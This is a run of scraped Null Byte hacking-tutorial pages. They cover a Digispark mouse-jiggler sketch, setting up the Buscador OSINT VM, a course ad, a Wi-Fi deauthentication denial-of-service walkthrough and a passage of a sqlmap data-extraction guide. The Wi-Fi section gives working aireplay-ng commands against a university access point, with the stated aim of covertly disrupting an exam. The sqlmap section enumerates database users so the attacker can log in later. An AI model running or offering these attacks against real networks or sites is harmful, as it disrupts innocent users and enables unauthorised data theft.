randomSeed(analogRead(0)); //Random Seed off background noise on analog pin
pinMode(1, OUTPUT);
DigiMouse.begin(); //start
}
void loop() {
//Moves mouse 1 pixel in a direction (up/down/left/right) in a square
digitalWrite(1, HIGH);
DigiMouse.moveY(1000000);
DigiMouse.delay(50);
digitalWrite(1, LOW);
DigiMouse.delay(random(LowerCycleTime, UpperCycleTime));
digitalWrite(1, HIGH);
DigiMouse.moveX(1000000); //
DigiMouse.delay(50);
digitalWrite(1, LOW);
DigiMouse.delay(random(LowerCycleTime, UpperCycleTime));
digitalWrite(1, HIGH);
DigiMouse.moveY(-1000000);
DigiMouse.delay(50);
digitalWrite(1, LOW);
DigiMouse.delay(random(LowerCycleTime, UpperCycleTime));
digitalWrite(1, HIGH);
DigiMouse.moveX(-1000000);
DigiMouse.delay(50);
digitalWrite(1, LOW);
DigiMouse.delay(random(LowerCycleTime, UpperCycleTime));
}Compared to Franklin's original code, in the beginning, there's a LowerCycleTime of 500 and UpperCycleTime of 1,000, which is milliseconds for 0.5 and 1 seconds. The former sets the shortest amount of time between random mouse movements, while the latter sets the longest time between random mouse movements. Franklin's original has them set to 10,000 (10 seconds) and 300,000 (300 seconds), respectively.The second difference is that we've chosen 1,000,000 for the first DigiMouse.moveY and DigiMouse.moveX instructions, then down to β1,000,000 for the last two. This will make the mouse pointer's location move up, left, down, right in the shape of a square, which should be fairly noticeable.Step 2: Configure Arduino IDETo connect to the Digispark, we'll need to add it to our boards manager in Arduino IDE. First, open up the "Preferences" menu in Arduino IDE. Next, click on the windows button next to the "Additional Boards Manager URLs" field to expand it.https://digistump.com/package_digistump_index.json
https://raw.githubusercontent.com/digistump/arduino-boards-index/master/package_digistump_index.jsonNow, paste in one of the above links onto a new line (you don't need them both, the first one just redirects to the second one). Click "OK," then "OK" again to save. The JSON link basically provides all of the port definitions for the various Digispark variations.Next, go to "Tools," click "Board," then "Boards Manager." Here, you'll search for "digi" and "Install" the Digistump AVR Boards. If you already have it, you could also update it from here if an update is available. Hit "Close," and you're all set.Step 3: Select the Digispark BoardGo back to "Tools," click "Board," and you should see "Digispark AVR Boards" listed. Select that, then choose the first result for "Digispark (Default - 16.5mhz)."Step 4: Push the Code to the DigisparkUnlike many sketches, you'll want to leave the Digispark unplugged from your computer before you start uploading it, however weird that sounds. So in your Mouse Jiggler sketch, click the Upload button (right-facing arrow) or go to "Sketch" β> "Upload" in the menu. Once you do that, it will compile the sketch, then tell you to plug in the Digispark, so do that now. After it says it's completed the upload, you should see the mouse pointer start to jump around the screen in a square motion.If you want to see how the original code worked, you cangrab the INO from GitHubor use the code below. Then, unplug the Digispark, hit "Upload," and plug it back in to load the original sketch on it. Once it's loaded, you shouldn't see your mouse cursor move at all, and you never will, because it's making micro-movements that are impossible to spot but will keep the computer on forever.// Digispark Mouse Jiggler
// Written by James Franklin for Air-Gap in 2019
// www.air-gap.com.au
#include <DigiMouse.h>
unsigned int LowerCycleTime = 10000; //Minimum Time in milli-seconds between each mouse action Default: 10000 (10 Seconds), Max 65535ms
unsigned int UpperCycleTime = 30000; //Maximum Time in milli-seconds between each mouse action Default: 30000 (30 Seconds), Max 65535ms
//Random Function will randomly execute a mouse move between these two values
void setup() {
randomSeed(analogRead(0)); //Random Seed off background noise on analog pin
pinMode(1, OUTPUT);
DigiMouse.begin(); //start
}
void loop() {
//Moves mouse 1 pixel in a direction (up/down/left/right) in a square
digitalWrite(1, HIGH);
DigiMouse.moveY(1);
DigiMouse.delay(50);
digitalWrite(1, LOW);
DigiMouse.delay(random(LowerCycleTime, UpperCycleTime));
digitalWrite(1, HIGH);
DigiMouse.moveX(1); //
DigiMouse.delay(50);
digitalWrite(1, LOW);
DigiMouse.delay(random(LowerCycleTime, UpperCycleTime));
digitalWrite(1, HIGH);
DigiMouse.moveY(-1);
DigiMouse.delay(50);
digitalWrite(1, LOW);
DigiMouse.delay(random(LowerCycleTime, UpperCycleTime));
digitalWrite(1, HIGH);
DigiMouse.moveX(-1);
DigiMouse.delay(50);
digitalWrite(1, LOW);
DigiMouse.delay(random(LowerCycleTime, UpperCycleTime));
}Get Creative with Your Digispark SketchesUsing the Digispark as a mouse is an imperfect science. While we made a pretty simple tool today, it's worth noting that as soon as we need to control this more precisely β for example, working with an unknown screen resolution β that's where things start to get really difficult.Aside from that, it's possible to use the mouseandinject keystrokes simultaneously, so you can really get creative with these scripts. Check outour previous Digispark guidesto learn more about the keystroke side of things.Don't Miss:Use a Digispark to Defeat VPNs & Track a MacOS Computer RemotelyWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Retia/Null Byte (original cover photo byMath/Pexels)RelatedHow To:Prank Your Friend's Computer Mouse into a Smelly Smoke MachineHow To:Pull a compilation of computer pranks on a friendNews:Top 10 Pranks for the College Freshman DormSecurity Alert:Your Wireless Mouse or Keyboard Can Be HackedHow To:Hack Your Old Computer Mouse into Retro Wireless Bluetooth Mouse!How To:Connect a Mouse to Your Nexus PlayerHow To:Use a Wireless or USB Mouse on Your iPhone in iOS 13How To:Prank hack a computer mouseHow To:Execute the Impossible Situp PrankHow To:Steal macOS Files with the USB Rubber DuckyHow To:Catch USB Rubber Duckies on Your Computer with USBRipHow To:Inject Keystrokes into Logitech Keyboards with an nRF24LU1+ TransceiverHow To:Take Your Phone Pranks to the Next Level with the Prankowl Caller ID Spoofing DialerHacking Windows 10:How to Break into Somebody's Computer Without a Password (Exploiting the System)How To:Prank Your Friend's Cell Phone by Encasing It in Jello!How To:The Ultimate Guide to Hacking macOSHow To:Make Exploding Targets for Airsoft and BB Guns Using Mousetraps and FireworksAndroid for Hackers:How to Backdoor Windows 10 Using an Android Phone & USB Rubber DuckyHow To:Prank a friend who has fallen asleep in a moving carHow To:Load & Use Keystroke Injection Payloads on the USB Rubber DuckyHacking macOS:How to Spread Trojans & Pivot to Other Mac ComputersHow to Install Remix OS:Android on Your ComputerHow To:12 April Fool's Day Pranks for Your Smartphone-Addicted Family & FriendsHow To:Pull the styrofoam ice-bottom cup prankHow To:Use the USB Rubber Ducky to Disable Antivirus Software & Install RansomwareHow To:Trick someone into thinking their LCD monitor is brokenNews:"Jello-Pool"News:The $25 USB Stick ComputerHow To:Use Google Voice to Prank Your Friends on April Fool's DayHow To:Add an Extra USB Port to Your Wired Computer MouseNews:Million Dollar PrankNews:Bam's Trapdoor BedHow To:Prank an optical mouse by replacing the laser and right-click with a toyNews:Public Bathroom FiascoNews:Snakes in a HotelNews:very hard to do prankHow To:catch a predator (possibly jackass member)News:The Gorilla Tour-GuideNews:old man and the bloody poolNews:The Fart Drink |
How to Use the Buscador OSINT VM for Conducting Online Investigations Β« Null Byte :: WonderHowTo | For anyone using open source information to conduct an investigation, a balance between powerful tools and privacy controls are a must. Buscador is a virtual machine packed full of useful OSINT tools and streamlined for online research. This program can easily be set up in VirtualBox, and once that's done, we'll walk you through some of the most useful tools included in it.OSINT InvestigationsWhen I showed employees at Uber research tools likeTheHarvesterandMaltego, the reaction ranged from wide-eyed amazement to suspicious questions about the legality of the programs being used. Most people have similar reactions to the amount and kind of information that can be pulled from open sources. OSINT research tools allow access to the incredible amount of data our society produces, often used as forensic clues to solve a crime or as a method of reconnaissance to allow a hacker to plan their attack.With all the data available in the digital world, the problem for a researcher is rarely whether or not the information exists; The amount of data that exists is overwhelming and difficult to sort through, but the right data almost always there. Instead, finding the most efficient path to the right data is one of the core challenges an investigator will face; This means using tools much more sophisticated than a Google search to hunt down clues relating to a target. There are a lot of great tools for this out there, but installing and configuring them all can be a pain.Don't Miss:Use Maltego to Fingerprint a Network Using Only a Domain NameAfter seeing glaring holes in the operational security of the way many police departments conduct OSINT research, experts Mike Bazzell and David Westcott set out to create a specialized VM specifically to bring together the most effective OSINT tools and customized scripts used by themselves and other investigators. Another focus of this VM was security, stealthiness, and the ability to easily save digital forensic evidence found during an investigation.Editor's note: Mike Bazzel's Buscador OS that's featured in this article was temporarilytaken downfrom his website due to increased DDoS-style attacks, but it's back up and running as normal. TheOSINT Toolson his website, however, will not be returning because of DMCAs and cease-and-desists from some of the tools.A VM for Hackers, Researchers & InvestigatorsHackers can think of the Buscador OSINT virtual machine like an OSINT-focused version ofKali Linux. Based on Ubuntu rather than Debian, Buscador does not include the formidable set of cyber weaponry that Kali boasts, instead hand-picking a collection of useful OSINT, privacy, and capture tools into one stealthy package. Because avoiding detecting is a goal of both investigators and hackers share, Buscador comes withTorpreinstalled and boasts other helpful privacy tools.Buscador VM is also capable of being booted from aUSB thumb driveon any available computer, as well as being loaded onto the hard disk and booted directly. This allows the flexibility of using it anywhere you have access to a computer, regardless of whether or not you have your personal device with you. At 3.5 GB, the VM image is compact and easy to carry on aflash drive that's 8 GB or more.Extensively documented in Mike Bazzell's book, "Open Source Intelligence Techniques," Buscador encourages good research habits and empowers researchers to find more clues in their investigations. Some familiar tools such asMaltego,Recon-ng, Creepy,Spiderfoot,TheHarvester,Sublist3r, and other tools we've covered on Null Byte are preinstalled.Get Bazzell's Book on Amazon:Open Source Intelligence Techniques: Resources for Searching and Analyzing Online InformationWhat You'll NeedTrying out Buscador is easy. You'll need to download the most current version ofBuscador from the IntelTechniques website. The most current VirtualBox version as of June 2019 isBuscador 2.0.Next, you'll need todownload VirtualBox, as well as theVirtualBox Extension Packto run the virtual machine. Make sure to install both before continuing, as running Buscador without the extension pack can make using Buscador more annoying by requiring you to hit an escape sequence to release the mouse from the VM.Once you've installed both VirtualBox and the VirtualBox Extension Pack, you can proceed to the first step of setting up Buscador. (Note: There is Buscador isalso available for VMWare.)Step 1: Import & Configure the Virtual ApplianceFirst, we will need to import the appliance and adjust a few settings. Open VirtualBox, and in the drop-down menu, click on "File" and then "Import Appliance" to select the Buscador .OVA file you downloaded previously. Then, select "Continue."Go ahead and click "Import" to load the virtual machine.Next, click on "Settings," and in the "General" tab, rename the Buscador VM to something you will remember. Under "Advanced," change "Shared Clipboard" to "Bi-Directional" to allow copying and pasting between the guest and host system.Click on the "System" tab, and under "Motherboard," add about half of the total system RAM to the virtual machine. Then, click the "Display" tab and then "Screen" to increaseVideo Memoryto at least 128 MB, to allow for video and other digital evidence to be displayed properly.When this is done, click on the "Storage" tab, then click on the plus-shaped icon in the lower-left corner, select "Add Optical Drive," and then select the "Leave Empty" option.Finally, click on the "Shared Folders" tab, and select the plus-shaped icon on the right. Now, you can create or select which folder you want to use to save evidence from Buscador onto your computer. Once this is selected, make sure the folder is set to "Auto-mount."With this complete, you're ready to run Buscador for the first time. Click "OK" to save the settings, and then select the Buscador VM from the list of VMs in VirtualBox, and click the green "Start" button.Step 2: Run Buscador for the First TimeAfter Buscador boots, you should find yourself at a login menu with a spooky OSINT guy, possibly a self-portrait of Mike Bazzell, as the wallpaper. The default username isosint, and you can log in with the passwordosint.Once you've logged in and the desktop has booted, click on the "Devices" tab at the top of the VirtualBox menu, and then select "Insert Guest Additions CD Image" to show the CD in Buscador. If it doesn't auto-run, select the CD on the desktop, then click "Run Software" to auto-run the Guest Additions installer. Once it's finished installing, restart the virtual machine.After logging in again and loading the desktop, open a terminal window. We'll need to add the "osint" user to the "vboxsf" user group, and to do so, we'll type the following and pressReturn/Enter.sudo adduser osint vboxsfSupply the password (osint) and then reboot the VM again when the process is complete.Now that these steps are complete, your Buscador is set up and ready to use!Step 3: Take Advantage of Browser ExtensionsBuscador offers a number of browsers preconfigured with the most useful add-ons and extensions for investigators. This curated list focuses on capturing clues you find for further review and analysis, and we'll jump into some of the most useful ones included for Firefox first.Don't Miss:How to Organize Your Tools by Pentest StagesFirefox Browser Add-OnsFirefox is a fast and powerful browser that comes packed with eight browser add-ons installed in Buscador. You'll see the icons tucked into the top right of the browser. The first two,Nimbus CaptureandFireShot, are for taking detailed screenshots of pages of interest, allowing you to archive them, make notes on them, or even make PDF copies of websites.Next up are two browser extensions for collecting video and audio posted online. These allow you to save any video files either individually or in bulk usingVideo DownloadHelperandBulk Media Downloader, respectively.Ublock Originshould be a familiar sight to anyone who doesn't want to be tracked or see ads in their content, but theUser-Agent Switchermight be an interesting new toy for many researchers. The User-Agent Switcher add-on changes the operating system and browser type your browser sends each time it makes a request, allowing you to pretend to be any kind of device you want. This is useful for getting the mobile version of a webpage or doing something you can't do on a desktop device (like posting a photo to Instagram).Don't Miss:Find Anyone's Private Phone Number Using FacebookThe last two add-ons for Firefox are Google Translate, to provide a quick translation of pages in other languages, and the super-helpfulResurrect Pages, which can find old versions of webpages that have been changed or taken down, allowing you to see what people try to hide.Chrome Browser ExtensionsGoogle Chrome, which opens by default into Incognito mode, is also included in Buscador. It boasts even more extensions than Firefox, including Ublock Origin, Fireshot, and 15 other extensions.TheLightshotscreen capture extension replaces Nimbus in Chrome, with 360social andProphetadding tools for searching social websites for more information about a person, like email addresses.For analyzing websites, Chrome has aUser-Agent SwitcherandWappalyzer, which will break down and tell you the underlying technology any website is built on.Shodanas a browser extension is also extremely helpful, allowing discovery of information in Shodan about a particular website you're on. Privacy tools likeHTTPS EverywhereandWebRTC Leak Preventaim to keep the investigator insulated from malicious websites or possible detection.These browser tools can be used together in clever ways to pull off attacks liketracking down a user's Tinder profile.Step 4: Use the Helpful Included ToolsAside fromMaltego Community Edition, there are several tools that have been well-documented on Null Byte which are included in Buscador. You should check out these OSINT staples to get a feel for what Buscador has to offer.For email scraping, Buscador comes withTheHarvester, which allows you to search for all email addresses on a domain you're interested in.Spiderfoot, a powerful cross-platform OSINT tool, is also included. Spiderfoot autonomously gathers information about a target and transforms the results into an easy to understand report.Based on Metasploit,Recon-ngis a complete Python module forreconnaissancedeveloped by Tim Tomes which is popular with hackers and investigators.Don't Miss:How to Conduct Passive OS Fingerprinting with p0fWhile we haven't covered all the tools available in Buscador on Null Byte, there are many useful customized scripts for downloading videos and images from targeted social media accounts and other places people share information about themselves. These tools allow us to intake, process, and analyze impressively large amounts of data with only a few clicks.We'll cover some of these tools in more detail in an upcoming tutorial, but if you'd like to learn more about Mike Bazzell's OSINT techniques, you cancheck out his book.Buscador Can Help You Follow the CluesAfter setting up Buscador, I recommend checking out one of Null Byte's guides on the included OSINT tools to get a head start on conducting your first investigation. It's important to practice using these tools to answer a question rather than fishing for information. Without doing so, you're likely to get lost in the sea of information OSINT tools can return. There is little value in all of this data if it cannot clearly answer a question which guides the investigator's understanding of the situation forward.Because no investigation can succeed without answering well-posed questions, the goal of this specialized VM is to support a researcher by bringing together all the tools and data they need to decide which questions to ask. If you need a powerful and convenient system for conducting investigations beyond the scope of a Google search, Buscador will help you find the answers you're looking for.I hope you enjoyed this guide to setting up the Buscador OSINT virtual machine! If you have any questions about this tutorial on Buscador or you have a comment, feel free to reach me on [email protected]'t Miss:How to Find Vulnerabilities for Any Website Using NiktoWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Find Identifying Information from a Phone Number Using OSINT ToolsRecon:How to Research a Person or Organization Using the Operative FrameworkHow To:Hunt Down Social Media Accounts by Usernames with SherlockHow To:Find OSINT Data on License Plate Numbers with SkiptracerVideo:How to Use Maltego to Research & Mine Data Like an AnalystHow To:Use Photon Scanner to Scrape Web OSINT DataHow To:Use Google Search Operators to Find Elusive InformationHow To:Top 10 Browser Extensions for Hackers & OSINT ResearchersHow To:Mine Twitter for Targeted Information with TwintHow To:Use Maltego to Target Company Email Addresses That May Be Vulnerable from Third-Party BreachesHow To:Exploit Recycled Credentials with H8mail to Break into User AccountsHow To:Brute-Force SSH, FTP, VNC & More with BruteDumHow To:Find Passwords in Exposed Log Files with Google DorksHow To:Uncover Hidden Subdomains to Reveal Internal Services with CT-ExposerHow To:Spy on SSH Sessions with SSHPry2.0How To:Catch an Internet Catfish with Grabify Tracking LinksHow To:Use Maltego to Fingerprint an Entire Network Using Only a Domain NameNews:Augmented Reality Helps Dutch Police Out on Crime ScenesNews:Police Admit To Drugging Occupy Wall Street Protesters; Suspend ProgramVaccine bombshell:Baby monkeys develop autism after routine CDC vaccinationsHow To:Run Windows from Inside LinuxNYTimes:"Feds Intensify Investigation Armstrong"News:Obama and Congress Approve Resolution that Supports UN Internet TakeoverNews:Fantasia 2000 (2000)News:On the road with Macallan & Masters of Photography |
Become a Computer Forensics Pro with This $29 Training Β« Null Byte :: WonderHowTo | The increasingly important world ofwhite hator "ethical" hacking is getting competitive. Thanks to growing salaries and opportunities for talented and trained coding pros who can infiltrate servers and safeguard networks against digital threats, demand for intrepid cyber warriors is through the roof, and it shows no signs of slowing down any time soon.That means that if you want to stand out from the crowd and land the best positions in the field, you need to find a niche or specialization β something that shows current and future employers that you have what it takes to be an expert in a particular field.ThisIntro to Computer Forensics Coursewill get you up to speed with one of the fastest-growing and most popular cybersecurity specialties in the world, and it's currently over 95% off at $29. We haven't covered digital forensics on Null Bytefor a while, so the course is a good fill-in until we start exploring forensics again.Whether you're just starting with white-hat hacking or you're a more experienced programmer looking to widen your skill set, this 20-hour course will help you become an in-demand computer forensics specialist β through easy-to-follow lectures that will teach you how to run a wide range of data breach investigations.This training will help you join their ranks by showing you how to retrace the steps of a digital attack, carry out an investigation according to legal guidelines, identify multiple intrusion attempts, and search and seize resources as required for an investigation.The training also comes with material that will show you the more nuanced elements of retaliating against active attacks, while implementing safeguards to help ensure that the same networks can't be compromised in the future.Become an in-demand computer forensics pro with the Intro to Computer Forensics Course forjust $29β over 95% off its usual price today.Prices are subject to change.Build Your Skills:The Intro to Computer Forensics Course for Just $29Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaPxfuelRelatedHow To:Become an In-Demand Web Developer with This $29 TrainingHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)SPLOIT:Forensics with Metasploit ~ ( Recovering Deleted Files )How To:This 10-Course Blockchain & Ethereum Training Is Just $29 TodayNews:Why YOU Should Study Digital ForensicsHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 6 (Using IDA Pro)News:Becoming a HackerHack Like a Pro:Digital Forensics Using Kali, Part 1 (The Tools of a Forensic Investigator)How To:Jobs Are Out There β Here's How to Create the Ideal RΓ©sumΓ©Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 11 (Using Splunk)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 5 (Windows Registry Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 2 (Network Forensics)How To:The Essential Skills to Becoming a Master HackerHow To:Learn C# & Start Designing Games & AppsNews:Still Need the Battery Replaced on Your Older iPhone? Get It Done Soon β Or It'll Cost YouNews:New iOS Update Will Tell You More About Your iPhone's Battery Health & Turn Off SlowdownHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 10 (Identifying Signatures of a Port Scan & DoS Attack)How To:Capture Unauthorized Users Trying to Bypass Your Windows 8 Lock ScreenPhoto Forensics:How to Check If a Picture Has Been Photoshopped or NotHacking Windows 10:How to Find Sensitive & 'Deleted' Files RemotelyHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 15 (Parsing Out Key Info from Memory)Hack Like a Pro:How to Hack Facebook (Facebook Password Extractor)Hack Like a Pro:Digital Forensics Using Kali, Part 2 (Acquiring a Hard Drive Image for Analysis)How To:Become an In-Demand IT Pro with This Cisco TrainingHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 8 (More Windows Registry Forensics)How To:Remove the Palladium Pro rogue malware from your computerHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 12 (Windows Prefetch Files)News:How to Study for the White Hat Hacker Associate Certification (CWA)News:Airline Offers Frequent Flyer Miles to HackersHow To:Don't Get Caught! How to Protect Your Hard Drives from Data ForensicsNews:What does Pro Tools HD Native mean for you?News:Pro Flight SimulaterHow To:enable & disable Page File EncryptionHow To:The Official Google+ Insider's Guide IndexNews:Computer zombiesNews:Quiksilver Pro El Salvador:Camera Plus Pro:The iPhone Camera App That Does it All |
How to Hack Wi-Fi: Performing a Denial of Service (DoS) Attack on a Wireless Access Point Β« Null Byte :: WonderHowTo | Welcome back, my neophyte hackers!As part ofmy series on Wi-Fi hacking, I want to next look at denial-of-service (DoS) attacks, and DoSing a wireless access point (AP). There are a variety of ways to do this, but in this tutorial we'll be sending repeated deauthentication frames to the AP withaircrack-ng's aireplay. Remember, hacking wireless networks isn't all justcracking Wi-Fi passwords!Our Problem ScenarioLet's imagine a scenario where your best friend's girlfriend just broke up with him. He was madly in love with her, and of course, is now devastated. He's terribly depressed, and not able to eat or sleep, much less study for his upcoming exams. He even considers killing himself. You stick by your best buddy and help him through the worst time of his life, and with your care and consideration, he recovers.Unfortunately, he has college exams tomorrow. If he only had a few more days, he could cram and pass them. Our mission is to DOS the wireless access point so that the exam can't take place at the scheduled time and the school has to reschedule it, giving our best buddy the time he needs to cram and recover.Our Scenario's SolutionSo, on the day of the exam, our buddy goes to the classroom as scheduled, although totally unprepared to pass the exam. We only need to place ourselves somewhere close enough to be able to access the wireless access point. This could be in the hallway, the next room, or the library. Most access points will extend up to 300 feet (about 100 meters), so we don't have to be that close.In addition, if we put a high gain antenna on our Alfa wireless card, we can be significantly farther away. Then we pull out our trusty computer withBackTrackand ourAlfa wireless adapterto save our friend from exam Armageddon!Step 1: Open a TerminalNow that we're positioned within range of the wireless access point for the exam, let's fire up BackTrack and open a terminal. Let's make certain our wireless adapter is recognized in BackTrack and functioning.iwconfigStep 2: Put the Wireless Adapter in Monitor ModeOur next step is to put our wireless adapter in monitor mode withairmon-ng.airmon-ng start wlan0Step 3: Monitor the Available APs with Airodump-NgNow we want to take a look at all the access points in range by usingairodump-ng.airodump-ng mon0As we can see, the access point for Concord University is the third access point displayed. Note its BSSID (this is its globally unique identifier based on its MAC address) and copy it.Step 4: Connect to the Access PointNow we need to connect to the AP with our computer.We can see the connection at the bottom of screen. There we can see the access point's BSSID on the far left bottom and the MAC address of our client following it. We need both of these bits of information for our next step in this hack.Step 5: Broadcast Deauthenticate Users on the APNow we're ready to deauthenticate (bump off) all the users from the AP. We need to send thousands of deauthenticate frames to keep any one from reconnecting to the AP. We can do this by typing the following into another terminal.aireplay-ng --deauth 1000 -a 00:09:5B:6F:64:1E -h 44:6D:57:C8:58:A0 mon000:09:5B:6F:64:1Eis the BSSID of the AP.44:6D:57:C8:58:A0is the MAC address of our computer.1000is the number of deauthentication frames to send to the AP.As the students attempt to connect to the AP to take the exam, they will be unable to connect, or as soon as they do, they'll be disconnected. It's unlikely that the teacher or professor will have any idea what's happening, and for that matter, neither will the school IT director.Step 6: Success!We need to keep these deauthentication frames going toward the AP until the teacher or professor finally gives up and reschedules the exam.Now, our best buddy has a few days until the rescheduled exam to cram and pass. Thanks to BackTrack and a bit of hacking skill, we have saved our buddy from exam Armageddon!Stay Tuned...Make sure to check back on ourWi-Fi Hackingseries, because even more wireless hacks are coming! If you have any questions, please comment below or start a discussion in theNull Byte forumand we'll try to help you out.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseKeyboard,computers, anddepressed kidimages via ShutterstockRelatedHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHack Like a Pro:How to Get Even with Your Annoying Neighbor by Bumping Them Off Their WiFi Network βUndetectedHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow To:Hack Wi-Fi Networks with BettercapHow To:Automate Wi-Fi Hacking with Wifite2How To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow To:Build a Pumpkin Pi β The Rogue AP & MITM Framework That Fits in Your PocketHow To:Spy on Network Relationships with Airgraph-NgHow to Hack Wi-Fi:Stealing Wi-Fi Passwords with an Evil Twin AttackHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow to Hack Wi-Fi:Creating an Evil Twin Wireless Access Point to Eavesdrop on DataHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How to Hack Wi-Fi:DoSing a Wireless AP ContinuouslyHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Hack Wi-Fi & Networks More Easily with Lazy ScriptHow To:Turn Any Phone into a Hacking Super Weapon with the SonicHow To:Protect Yourself from the KRACK Attacks WPA2 Wi-Fi VulnerabilityHow To:Use MDK3 for Advanced Wi-Fi JammingHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHacking Gear:10 Essential Gadgets Every Hacker Should TryHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHacking Android:How to Create a Lab for Android Penetration TestingHow To:Hack Your Neighbor with a Post-It Note, Part 1 (Performing Recon)Guide:Wi-Fi Cards and ChipsetsHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:Send ADB Commands Over Wi-Fi on AndroidAndroid Basics:How to Connect to a Wi-Fi NetworkRIP:ScroogleHow To:Get Free Wi-Fi from Hotels & More |
How to Hack Databases: Extracting Data from Online Databases Using Sqlmap Β« Null Byte :: WonderHowTo | Welcome back, my greenhorn hackers!In aprevious tutorial on hacking databases, I showed you how to find online databases and then how to enumerate the databases, tables, and columns. In this guide, we'll now exfiltrate, extract, removeβwhatever term you preferβthe data from an online database.AsMySQL, the open source database now owned by Oracle, is probably the most widely used back-end database of online websites, we'll use it as an example. Similar techniques can be used for Microsoft's SQL Server, Oracle, DB2, Postgresql, etc.Hacking Databases with SqlmapWe will be usingsqlmap, once again, which is a versatile and powerful tool for hacking databases. It has been used in a number of successful and highly publicized hacks by Anonymous members and other hackers against web-based databases.Any self-respecting (and for that matter, self-loathing) hacker should be familiar with sqlmap. As such, I want to spend a few tutorials showing you its power and capabilities. Here we will focus on exfiltration, but it can do so much more.Extracting Data with SqlmapIn this tutorial, we'll work on how to extract the data after we've found the database and enumerated the database. Since the data in the database server is the hacker's "Golden Fleece," the ability to find and extract it is among the most critical skills for an effective hacker.Step 1: Fire Up Sqlmap in BackTrackLet's open up sqlmap inBackTrackand look at the help screen by typing:./sqlmap.py -hIf you need help finding sqlmap, refer back tomy previous tutorial.As we can see, the capabilities and options for using sqlmap are numerous.Inmy previous tutorial, we had used a URL to target the database by using the -u switch (such as ./sqlmap.py -u "http://www.someURL.com), but notice that in the screenshot above we have the option to do a lot more.We can use a direct connect (-d), the logfile (-l), a bulkfile (-m), HTTP requests (-r), use googledorks (-g), or use a configuration .ini file (-c). For now, we will continue to use the URL option, or -u option, in our attack here, but we will explore the other attack options in future guides.If we scroll down the help screen a bit, we will see another section called "Enumeration." These are the options available to enumerate various objects in the target database. Inour previous example, we had enumerated; first, the databases (-dbs); then, the tables (--tables); and finally, the columns (--columns).Notice, though, that we can also enumerate the users and password hashes, among many other database objects.Step 2: Enumerate the Database UsersLet's take a look at enumerating the database users. If we can get these, we might be able to connect directly to the database (we are using a vulnerability in the web application here) even when and if the database administrator notices and repairs this security vulnerability in the website. We simply type:./sqlmap.py -u "http://webscantest.com/datastore/search_get_by_id.php?id=4" --usersNow, run this command to get a list of users.As you can see in the above screenshot, sqlmap told us that the DBMS is MySQL, the web application technology is PHP 5.3.3, the webserver is Apache, and finally, where I highlighted, it was able to enumerate one user 'scanme'@'%'.In MySQL syntax, this means that the user's name is "scanme" and they can login from (@) the following host or IP. In this case, the user "scanme" can login from any host or IP, as the database admin has used the wildcard "%" which means "any or none".If the database admin had used a IP address here, such as '[email protected]', the user "scanme" would only be able to login from that IP address. In this case, scanme can login from any IP making it much easier for us to hack the database in the future using scanme's account, as it will allow scanme to login from any IP address. So, we can use scanme's credentials from any IP address and get into the database "legitimately".Step 3: Enumerate Tables & 